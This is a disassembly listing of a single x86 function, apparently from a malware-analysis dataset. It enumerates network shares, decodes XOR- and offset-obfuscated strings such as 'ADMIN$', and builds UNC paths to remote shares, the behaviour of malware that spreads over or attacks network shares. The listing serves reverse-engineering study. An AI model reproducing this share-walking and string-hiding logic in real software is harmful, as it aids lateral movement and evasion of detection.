Function at 0x40733a
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
xor eax, eax
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
mov edi, 0x4192bc
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 8]
push eax
push 1
push ebx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x407397
cmp esi, 0xea
je 0x40735b
jmp 0x40759a
mov esi, dword [ebp - 8]
xor ebx, ebx
inc ebx
cmp dword [ebp - 4], ebx
jb 0x407593
mov eax, dword [esi + 4]
test eax, eax
je 0x4073bf
cmp eax, 0x80000000
je 0x4073bf
cmp eax, 0x40000000
jne 0x407583
mov byte [ebp - 0x46], 0x42
mov byte [ebp - 0x45], 1
mov byte [ebp - 0x44], 0x45
mov byte [ebp - 0x43], 1
mov byte [ebp - 0x42], 0x4e
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x40], 0x4a
mov byte [ebp - 0x3f], 1
mov byte [ebp - 0x3e], 0x4f
mov byte [ebp - 0x3d], 1
mov byte [ebp - 0x3c], 0x25
mov byte [ebp - 0x3b], 1
mov byte [ebp - 0x3a], 1
mov byte [ebp - 0x39], 0
mov al, byte [ebp - 0x46]
xor eax, eax
dec byte [ebp + eax - 0x46]
inc eax
cmp eax, 0xd
jb 0x4073fc
lea eax, [ebp - 0x46]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x407583
mov ecx, 0x10000
call fcn.004067f9
mov edi, eax
test edi, edi
je 0x407583
push 0x4018e0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x38], 0x3b
mov ecx, dword [ebp - 0x38]
xor cl, 0x5c
mov byte [ebp - 0x34], cl
mov eax, dword [ebp - 0x38]
inc al
mov byte [ebp - 0x33], al
mov eax, dword [ebp - 0x38]
add al, 2
xor al, 0x5c
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x38]
add al, 3
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 0x38]
add al, 4
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x30], al
xor edx, edx
mov al, byte [ebp - 0x34]
mov al, byte [ebp + edx - 0x34]
mov ecx, dword [ebp - 0x38]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x34], cl
inc edx
cmp edx, 5
jb 0x407475
push 2
lea eax, [ebp - 0x34]
mov byte [ebp - 0x2f], 0
push eax
push dword [ebp - 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
je 0x4074d4
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 5
mov byte [ebp - 0x18], 0x61
mov byte [ebp - 0x17], 5
mov byte [ebp - 0x16], 5
mov byte [ebp - 0x15], 0
mov al, byte [ebp - 0x1a]
xor eax, eax
sub byte [ebp + eax - 0x1a], 5
inc eax
cmp eax, 5
jb 0x4074be
lea eax, [ebp - 0x1a]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 0x24], 0x1a
xor edx, edx
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x1a
mov byte [ebp - 0x1e], 0x1a
mov al, byte [ebp - 0x20]
mov byte [ebp - 0x1d], 0
mov al, byte [ebp + edx - 0x20]
mov ecx, dword [ebp - 0x24]
xor cl, al
mov byte [ebp + edx - 0x20], cl
inc edx
cmp edx, 3
jb 0x4074fa
lea eax, [ebp - 0x20]
mov byte [ebp - 0x1d], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [0x419514]
mov edx, edi
push 1
push 0
push 4
call fcn.00407ce9
add esp, 0xc
test eax, eax
je 0x40757c
mov dword [ebp - 0x2c], 0x3a
xor edx, edx
mov byte [ebp - 0x28], 0xa
mov byte [ebp - 0x27], 0x3a
mov byte [ebp - 0x26], 0x3a
mov al, byte [ebp - 0x28]
mov byte [ebp - 0x25], 0
mov al, byte [ebp + edx - 0x28]
mov ecx, dword [ebp - 0x2c]
xor cl, al
mov byte [ebp + edx - 0x28], cl
inc edx
cmp edx, 3
jb 0x40755b
mov edx, edi
mov byte [ebp - 0x25], 0
lea ecx, [ebp - 0x28]
call fcn.00413177
mov ecx, edi
call fcn.0040689e
add esi, 0xc
inc ebx
cmp ebx, dword [ebp - 4]
jbe 0x4073a6
mov esi, dword [ebp - 8]
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
leave
ret